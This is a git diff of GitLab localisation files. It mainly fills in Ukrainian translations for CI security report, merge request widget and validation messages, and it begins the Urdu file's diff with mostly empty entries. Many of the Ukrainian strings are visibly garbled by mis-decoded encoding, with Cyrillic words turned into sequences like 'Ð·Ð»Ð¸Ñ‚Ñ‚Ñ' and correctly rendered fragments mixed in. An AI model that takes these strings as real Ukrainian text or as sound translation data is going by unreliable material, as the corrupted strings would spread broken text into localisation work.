msgstr "Створити запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð´Ð»Ñ Ñ€ÐµÐ°Ð»Ñ–Ð·Ð°Ñ†Ñ–Ñ— цього Ñ€Ñ–ÑˆÐµÐ½Ð½Ñ Ð°Ð±Ð¾ завантажити Ñ– заÑтоÑувати патч вручну."
@@ -49132,7 +49870,7 @@ msgid "ciReport|Download the patch to apply it manually"
msgstr "Завантажити патч Ñ– заÑтоÑувати його вручну"
msgid "ciReport|Dynamic Application Security Testing (DAST)"
-msgstr ""
+msgstr "Динамічне теÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð±ÐµÐ·Ð¿ÐµÐºÐ¸ заÑтоÑунків (DAST)"
msgid "ciReport|Dynamic Application Security Testing (DAST) detects known vulnerabilities in your web application."
msgstr "Динамічне теÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð±ÐµÐ·Ð¿ÐµÐºÐ¸ заÑтоÑунків (DAST) виÑвлÑÑ” відомі вразливоÑÑ‚Ñ– у вашому веб-заÑтоÑунку."
@@ -49144,7 +49882,7 @@ msgid "ciReport|Failed to load Code Quality report"
msgstr ""
msgid "ciReport|Fixed"
-msgstr ""
+msgstr "Виправлено"
msgid "ciReport|Fixed:"
msgstr "Виправлено:"
@@ -49159,13 +49897,13 @@ msgid "ciReport|Generic Report"
msgstr "Загальний звіт"
msgid "ciReport|IaC Scanning"
-msgstr ""
+msgstr "Ð¡ÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ IaC"
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr "ДоÑлідити цю вразливіÑÑ‚ÑŒ, Ñтворивши задачу"
msgid "ciReport|License Compliance"
-msgstr ""
+msgstr "ВідповідніÑÑ‚ÑŒ Ліцензії"
msgid "ciReport|License Compliance failed loading results"
msgstr ""
@@ -49174,7 +49912,7 @@ msgid "ciReport|License Compliance test metrics results are being parsed"
msgstr ""
msgid "ciReport|Load Performance"
-msgstr ""
+msgstr "ЕфективніÑÑ‚ÑŒ навантаженнÑ"
msgid "ciReport|Load performance test metrics detected %{strong_start}%{changesFound}%{strong_end} change"
msgid_plural "ciReport|Load performance test metrics detected %{strong_start}%{changesFound}%{strong_end} changes"
@@ -49199,7 +49937,7 @@ msgid "ciReport|Loading Code Quality report"
msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð·Ð²Ñ–Ñ‚Ñƒ про ÑкіÑÑ‚ÑŒ коду"
msgid "ciReport|Manage Licenses"
-msgstr ""
+msgstr "Ð£Ð¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ Ð»Ñ–Ñ†ÐµÐ½Ð·Ñ–Ñми"
msgid "ciReport|Manage licenses"
msgstr "ÐšÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð»Ñ–Ñ†ÐµÐ½Ð·Ñ–Ñми"
@@ -49208,14 +49946,11 @@ msgid "ciReport|Manually added"
msgstr "Додано вручну"
msgid "ciReport|New"
-msgstr ""
+msgstr "Ðове"
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr "Ðові вразливоÑÑ‚Ñ– - це вразливоÑÑ‚Ñ–, Ñкі виÑвлÑÑ” аналіз безпеки у запиті на злиттÑ, відмінні від Ñ–Ñнуючих вразливоÑтей у гілці за замовчуваннÑм."
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr "Ðемає змін у ÑкоÑÑ‚Ñ– коду"
@@ -49223,7 +49958,7 @@ msgid "ciReport|No code quality issues found"
msgstr ""
msgid "ciReport|RPS"
-msgstr ""
+msgstr "RPS"
msgid "ciReport|Resolve with merge request"
msgstr "Вирішити за допомогою запиту на злиттÑ"
@@ -49232,13 +49967,13 @@ msgid "ciReport|SAST"
msgstr "SAST"
msgid "ciReport|Secret Detection"
-msgstr ""
+msgstr "ВиÑÐ²Ð»ÐµÐ½Ð½Ñ Ñекретів"
msgid "ciReport|Secret Detection detects secrets and credentials vulnerabilities in your source code."
msgstr ""
msgid "ciReport|Secret detection"
-msgstr ""
+msgstr "ВиÑÐ²Ð»ÐµÐ½Ð½Ñ Ñекретів"
msgid "ciReport|Security reports failed loading results"
msgstr ""
@@ -49262,16 +49997,16 @@ msgid "ciReport|Solution"
msgstr "РішеннÑ"
msgid "ciReport|Static Application Security Testing (SAST)"
-msgstr ""
+msgstr "ТеÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð±ÐµÐ·Ð¿ÐµÐºÐ¸ Ñтатичних заÑтоÑунків (SAST)"
msgid "ciReport|Static Application Security Testing (SAST) detects known vulnerabilities in your source code."
msgstr "Статичне теÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð±ÐµÐ·Ð¿ÐµÐºÐ¸ заÑтоÑунків (SAST) виÑвлÑÑ” відомі вразливоÑÑ‚Ñ– у вашому коді."
msgid "ciReport|TTFB P90"
-msgstr ""
+msgstr "TTFB P90"
msgid "ciReport|TTFB P95"
-msgstr ""
+msgstr "TTFB P95"
msgid "ciReport|There was an error creating the issue. Please try again."
msgstr "Помилка при Ñтворенні задачі. Будь лаÑка Ñпробуйте знову."
@@ -49302,13 +50037,13 @@ msgid "ciReport|View full report"
msgstr "ПереглÑнути повний звіт"
msgid "ciReport|in"
-msgstr ""
+msgstr "в"
msgid "ciReport|is loading"
-msgstr ""
+msgstr "завантажуєтьÑÑ"
msgid "ciReport|is loading, errors when loading results"
-msgstr ""
+msgstr "завантажуєтьÑÑ, помилки під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ€ÐµÐ·ÑƒÐ»ÑŒÑ‚Ð°Ñ‚Ñ–Ð²"
msgid "ci_database"
msgstr "ci_database"
@@ -49317,7 +50052,7 @@ msgid "closed"
msgstr "закрито"
msgid "closed %{timeago}"
-msgstr ""
+msgstr "закрито %{timeago}"
msgid "closed issue"
msgstr "закрита задача"
@@ -49336,10 +50071,10 @@ msgstr "прокоментовано в %{link_to_project}"
msgid "commit"
msgid_plural "commits"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "коміт"
+msgstr[1] "коміти"
+msgstr[2] "комітів"
+msgstr[3] "комітів"
msgid "commit %{commit_id}"
msgstr "коміт %{commit_id}"
@@ -49348,7 +50083,7 @@ msgid "committed"
msgstr ""
msgid "complete"
-msgstr ""
+msgstr "завершено"
msgid "compliance violation has already been recorded"
msgstr ""
@@ -49412,7 +50147,7 @@ msgid "days"
msgstr "дні"
msgid "default"
-msgstr ""
+msgstr "за замовчуваннÑм"
msgid "default branch"
msgstr "гілка за замовчуваннÑм"
@@ -49497,7 +50232,7 @@ msgid "estimateCommand|%{slash_command} overwrites the total estimated time."
msgstr "%{slash_command} перезапиÑує загальний запланований чаÑ."
msgid "example.com"
-msgstr ""
+msgstr "example.com"
msgid "exceeds maximum length (100 usernames)"
msgstr "перевищує макÑимальну довжину (100 кориÑтувачів)"
@@ -49509,10 +50244,10 @@ msgid "exceeds the limit of %{bytes} bytes for directory name \"%{dirname}\""
msgstr ""
msgid "expired on %{timebox_due_date}"
-msgstr ""
+msgstr "закінчено %{timebox_due_date}"
msgid "expires on %{timebox_due_date}"
-msgstr ""
+msgstr "закінчуєтьÑÑ %{timebox_due_date}"
msgid "failed"
msgstr "невдало"
@@ -49543,7 +50278,7 @@ msgid "following"
msgstr "підпиÑки"
msgid "for"
-msgstr ""
+msgstr "длÑ"
msgid "for %{link_to_merge_request} with %{link_to_merge_request_source_branch}"
msgstr "Ð´Ð»Ñ %{link_to_merge_request} з %{link_to_merge_request_source_branch}"
@@ -49620,7 +50355,7 @@ msgid "has already been taken as Suite"
msgstr ""
msgid "has been completed."
-msgstr ""
+msgstr "було завершено."
msgid "has too deep level of nesting"
msgstr ""
@@ -49632,10 +50367,10 @@ msgid "http:"
msgstr "http:"
msgid "http://www.example.com"
-msgstr ""
+msgstr "http://www.example.com"
msgid "https://bamboo.example.com"
-msgstr ""
+msgstr "https://bamboo.example.com"
msgid "https://your-bitbucket-server"
msgstr "https://your-bitbucket-server"
@@ -49659,7 +50394,7 @@ msgid "import flow"
msgstr "процедура імпорту"
msgid "in"
-msgstr ""
+msgstr "в"
msgid "in group %{link_to_group}"
msgstr "в групі %{link_to_group}"
@@ -49693,7 +50428,7 @@ msgid "is already linked to this vulnerability"
msgstr "вже пов'Ñзана з цією вразливіÑÑ‚ÑŽ"
msgid "is already present in ancestors"
-msgstr ""
+msgstr "вже приÑÑƒÑ‚Ð½Ñ Ð² предках"
msgid "is an invalid IP address range"
msgstr "Ñ” недопуÑтимим діапазоном IP-адреÑ"
@@ -49716,9 +50451,6 @@ msgstr "не є"
msgid "is not a descendant of the Group owning the template"
msgstr "не Ñ” нащадком групи, Ñкій належить шаблон"
-msgid "is not a valid URL."
-msgstr "не Ñ” дійÑною URL-адреÑою."
-
msgid "is not a valid X509 certificate."
msgstr "не відповідний Ñертифікат X509."
@@ -49738,7 +50470,7 @@ msgid "is not allowed to add this type of parent"
msgstr ""
msgid "is not allowed to point to itself"
-msgstr ""
+msgstr "не дозволÑєтьÑÑ Ð²ÐºÐ°Ð·ÑƒÐ²Ð°Ñ‚Ð¸ на Ñебе"
msgid "is not allowed. Please use your regular email address."
msgstr ""
@@ -49762,7 +50494,7 @@ msgid "is one of"
msgstr "є одним з"
msgid "is read-only"
-msgstr ""
+msgstr "лише Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ"
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
msgstr "Ñ” занадто довгим (%{current_value}). МакÑимальний розмір Ñкладає %{max_size}."
@@ -49771,7 +50503,7 @@ msgid "is too long (%{size}). The maximum size is %{max_size}."
msgstr "занадто довгий (%{size}). МакÑимальний розмір – %{max_size}."
msgid "is too long (maximum is %{count} characters)"
-msgstr ""
+msgstr "занадто довгий (макÑимум %{count} Ñимволів)"
msgid "is too long (maximum is 100 entries)"
msgstr "Ñ” занадто довгим (макÑимум Ñкладає 100 елементів)"
@@ -49939,16 +50671,16 @@ msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasis
msgstr "ВикориÑÑ‚Ð°Ð½Ð½Ñ %{metricsLinkStart} пам’ÑÑ‚Ñ– %{metricsLinkEnd} %{emphasisStart} не змінилоÑÑ %{emphasisEnd} %{memoryFrom}Мб"
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
-msgstr ""
+msgstr "Ланцюжок змін - це ÑпиÑок запитів на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð² черзі, Ñкі очікують на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð² цільову гілку. Зміни в кожному запиті на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¾Ð±'єднуютьÑÑ Ð·Ñ– змінами в попередніх запитах на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ– теÑтуютьÑÑ Ð¿ÐµÑ€ÐµÐ´ злиттÑм."
msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
-msgstr ""
+msgstr "Стартував новий ланцюжок змін, Ñ– цей запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ” першим у черзі."
msgid "mrWidget|Added to the merge train by %{merge_author}"
-msgstr ""
+msgstr "Додано до ланцюжка змін %{merge_author}"
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
-msgstr ""
+msgstr "Додано в ланцюжок змін. ІÑнує %{mergeTrainPosition} запитів на злиттÑ, Ñкі очікують на об'єднаннÑ"
msgid "mrWidget|An error occurred while removing your approval."
msgstr "Під Ñ‡Ð°Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°."
@@ -49966,10 +50698,10 @@ msgid "mrWidget|Approval password is invalid."
msgstr "Пароль Ð´Ð»Ñ Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ñ” недійÑним."
msgid "mrWidget|Approval rule %{rules} is invalid. GitLab has approved this rule automatically to unblock the merge request. %{link}"
-msgstr ""
+msgstr "Правило Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ %{rules} Ñ” неприпуÑтимим. GitLab Ñхвалило це правило автоматично, щоб розблокувати запит на злиттÑ. %{link}"
msgid "mrWidget|Approval rules %{rules} are invalid. GitLab has approved these rules automatically to unblock the merge request. %{link}"
-msgstr ""
+msgstr "Правила Ð´Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ %{rules} Ñ” неприпуÑтимими. GitLab Ñхвалено ці правила автоматично, щоб розблокувати запит на злиттÑ. %{link}"
msgid "mrWidget|Approve"
msgstr "Затвердити"
@@ -49987,10 +50719,10 @@ msgid "mrWidget|Approved by you and others"
msgstr "Затверджено вами та іншими"
msgid "mrWidget|Assign yourself to these issues"
-msgstr ""
+msgstr "Призначити ці задачі Ñобі"
msgid "mrWidget|Assign yourself to this issue"
-msgstr ""
+msgstr "Призначити цю задачу Ñобі"
msgid "mrWidget|Cancel auto-merge"
msgstr "СкаÑувати автоматичне злиттÑ"
@@ -50018,7 +50750,7 @@ msgstr[2] "Закриває задач"
msgstr[3] "Закриває задач"
msgid "mrWidget|Create issue to resolve all threads"
-msgstr ""
+msgstr "Створити задачу Ð´Ð»Ñ Ð²Ð¸Ñ€Ñ–ÑˆÐµÐ½Ð½Ñ Ð²ÑÑ–Ñ… обговорень"
msgid "mrWidget|Delete source branch"
msgstr "Видалити гілку-джерело"
@@ -50036,7 +50768,7 @@ msgid "mrWidget|Failed to load deployment statistics"
msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ ÑтатиÑтику розгортаннÑ"
msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
-msgstr ""
+msgstr "GitLab %{linkStart}CI/CD може автоматично збирати, теÑтувати та розгортати ваш заÑтоÑунок.%{linkEnd} Початок роботи займає лише кілька хвилин, Ñ– ми можемо допомогти вам Ñтворити файл конфігурації конвеєра."
msgid "mrWidget|Hide %{widget} details"
msgstr "Приховати деталі %{widget}"
@@ -50073,31 +50805,31 @@ msgid "mrWidget|Merge blocked: a Jira issue key must be mentioned in the title o
msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾: у назві чи опиÑÑ– має бути зазначено ключ задачі Jira."
msgid "mrWidget|Merge blocked: all required approvals must be given."
-msgstr ""
+msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾: повинні бути надані вÑÑ– необхідні дозволи."
msgid "mrWidget|Merge blocked: all status checks must pass."
msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾: необхідно пройти вÑÑ– перевірки ÑтатуÑу"
msgid "mrWidget|Merge blocked: all threads must be resolved."
-msgstr ""
+msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾: вÑÑ– Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð¿Ð¾Ð²Ð¸Ð½Ð½Ñ– бути вирішені."
msgid "mrWidget|Merge blocked: denied licenses must be removed."
-msgstr ""
+msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾: заборонені ліцензії повинні бути видалені."
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
-msgstr ""
+msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾: швидке злиттÑ(fast-forward) вперед неможливе. Щоб об’єднати цей запит, Ñпочатку локально перебазуйте(rebase)."
msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
-msgstr "Заблоковано: конфлікти Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¿Ð¾Ð²Ð¸Ð½Ð½Ñ– бути вирішені."
+msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾: конфлікти Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¿Ð¾Ð²Ð¸Ð½Ð½Ñ– бути вирішені."
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
-msgstr ""
+msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾: конвеєр має бути уÑпішним. Він чекає ручних дій Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð¾Ð²Ð¶ÐµÐ½Ð½Ñ."
msgid "mrWidget|Merge blocked: pipeline must succeed. Push a commit that fixes the failure, or %{linkStart}learn about other solutions.%{linkEnd}"
-msgstr ""
+msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾: конвеєр має бути уÑпішним. ÐатиÑніть на фікÑацію, Ñка виправлÑÑ” збій, або %{linkStart}ознайомтеÑÑ Ð· іншими рішеннÑми.%{linkEnd}."
msgid "mrWidget|Merge blocked: you can only merge after the above items are resolved."
-msgstr ""
+msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾: ви можете об'єднатиÑÑ Ñ‚Ñ–Ð»ÑŒÐºÐ¸ піÑÐ»Ñ Ð²Ð¸Ñ€Ñ–ÑˆÐµÐ½Ð½Ñ Ð²Ð¸Ñ‰ÐµÐ·Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ… елементів."
msgid "mrWidget|Merge failed."
msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð¿Ñ€Ð¾Ð¹ÑˆÐ»Ð¾ невдало."
@@ -50139,10 +50871,10 @@ msgid "mrWidget|More information"
msgstr "Детальніше"
msgid "mrWidget|No users match the rule's criteria."
-msgstr ""
+msgstr "Ðемає кориÑтувачів, Ñкі відповідають критеріÑм правила."
msgid "mrWidget|Please restore it or use a different %{type} branch."
-msgstr ""
+msgstr "Будь лаÑка, відновіть Ñ—Ñ— або викориÑтовуйте іншу %{type} гілку."
msgid "mrWidget|Ready to be merged automatically. Ask someone with write access to this repository to merge this request"
msgstr "Можливе автоматичне злиттÑ. ЗвернітьÑÑ Ð´Ð¾ когоÑÑŒ із правами на Ð·Ð°Ð¿Ð¸Ñ Ñƒ цей репозиторій Ð´Ð»Ñ Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ"
@@ -50211,7 +50943,7 @@ msgid "mrWidget|Users who can write to the source or target branches can resolve
msgstr ""
msgid "mrWidget|What is a merge train?"
-msgstr ""
+msgstr "Що таке ланцюжок змін?"
msgid "mrWidget|Your password"
msgstr "Ваш пароль"
@@ -50226,7 +50958,7 @@ msgid "must be a root namespace"
msgstr ""
msgid "must be a valid IPv4 or IPv6 address"
-msgstr ""
+msgstr "має бути коректною IPv4 або IPv6 адреÑою"
msgid "must be a valid json schema"
msgstr ""
@@ -50243,6 +50975,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr "повинна бути пізніша за дату початку"
+msgid "must be in ISO 8601 format"
+msgstr "має бути у форматі ISO 8601"
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50330,12 +51065,6 @@ msgstr "%{item}, %{nextItem}"
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr "%{item}, Ñ– %{lastItem}"
-msgid "only %{parent_types} can be parent of Task."
-msgstr "лише %{parent_types} може бути батьківÑьким завданнÑм."
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr "тільки ÐŸÑ–Ð´Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð¼Ð¾Ð¶Ðµ бути призначене Ñк дочірнє в ієрархії."
-
msgid "only available on top-level groups."
msgstr ""
@@ -50469,10 +51198,10 @@ msgid "reCAPTCHA site key"
msgstr ""
msgid "reached maximum depth"
-msgstr ""
+msgstr "доÑÑгнуто макÑимальної глибини"
msgid "recent activity"
-msgstr ""
+msgstr "оÑÑ‚Ð°Ð½Ð½Ñ Ð°ÐºÑ‚Ð¸Ð²Ð½Ñ–ÑÑ‚ÑŒ"
msgid "register"
msgstr "зареєÑтруватиÑÑ"
@@ -50532,10 +51261,10 @@ msgstr ""
msgid "rule"
msgid_plural "rules"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "правило"
+msgstr[1] "правила"
+msgstr[2] "правил"
+msgstr[3] "правил"
msgid "running"
msgstr ""
@@ -50635,10 +51364,10 @@ msgid "started a discussion on %{design_link}"
msgstr "розпочато Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ %{design_link}"
msgid "started on %{timebox_start_date}"
-msgstr ""
+msgstr "розпочато %{timebox_start_date}"
msgid "starts on %{timebox_start_date}"
-msgstr ""
+msgstr "розпочинаєтьÑÑ %{timebox_start_date}"
msgid "structure is too large"
msgstr ""
@@ -50689,7 +51418,7 @@ msgid "the wiki"
msgstr ""
msgid "then"
-msgstr ""
+msgstr "тоді"
msgid "this document"
msgstr "цей документ"
@@ -50701,7 +51430,7 @@ msgid "to yourself"
msgstr "Ñамому Ñобі"
msgid "today"
-msgstr ""
+msgstr "Ñьогодні"
msgid "toggle collapse"
msgstr "згорнути/розгорнути"
@@ -50759,11 +51488,14 @@ msgid "value for '%{storage}' must be an integer"
msgstr ""
msgid "value for '%{storage}' must be between 0 and 100"
-msgstr ""
+msgstr "Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð´Ð»Ñ '%{storage}' має бути від 0 до 100"
msgid "verify ownership"
msgstr "перевірити право влаÑноÑÑ‚Ñ–"
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr "верÑÑ–Ñ %{report_version} Ð´Ð»Ñ Ð·Ð²Ñ–Ñ‚Ñƒ типу %{report_type} заÑтаріла. Однак GitLab вÑе одно намагатиметьÑÑ Ð¿Ñ€Ð¾Ð°Ð½Ð°Ð»Ñ–Ð·ÑƒÐ²Ð°Ñ‚Ð¸ та прийнÑти цей звіт. Оновіть звіт про безпеку до однієї з таких верÑій: %{current_schema_versions}."
+
msgid "version %{versionIndex}"
msgstr "верÑÑ–Ñ %{versionIndex}"
@@ -50783,7 +51515,7 @@ msgid "view the source"
msgstr "переглÑнути вихідний код"
msgid "visibility"
-msgstr ""
+msgstr "видиміÑÑ‚ÑŒ"
msgid "vulnerability"
msgid_plural "vulnerabilities"
@@ -50820,7 +51552,7 @@ msgid "vulnerability|dismissed"
msgstr "відхилено"
msgid "was scheduled to merge after pipeline succeeds by"
-msgstr ""
+msgstr "було заплановано на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¿Ñ–ÑÐ»Ñ ÑƒÑпішного Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð½Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ð°"
msgid "weekly"
msgstr "щотижнÑ"
@@ -50835,7 +51567,7 @@ msgid "with expiry changing from %{old_expiry} to %{new_expiry}"
msgstr ""
msgid "with expiry remaining unchanged at %{old_expiry}"
-msgstr ""
+msgstr "термін дії залишаєтьÑÑ Ð½ÐµÐ·Ð¼Ñ–Ð½Ð½Ð¸Ð¼ на %{old_expiry}"
msgid "yaml invalid"
msgstr "yaml недійÑний"
diff --git a/locale/ur_PK/gitlab.po b/locale/ur_PK/gitlab.po
index 0c2967eb1a5..4e5ebed10e9 100644
--- a/locale/ur_PK/gitlab.po
+++ b/locale/ur_PK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ur-PK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:41\n"
+"PO-Revision-Date: 2023-01-10 06:46\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
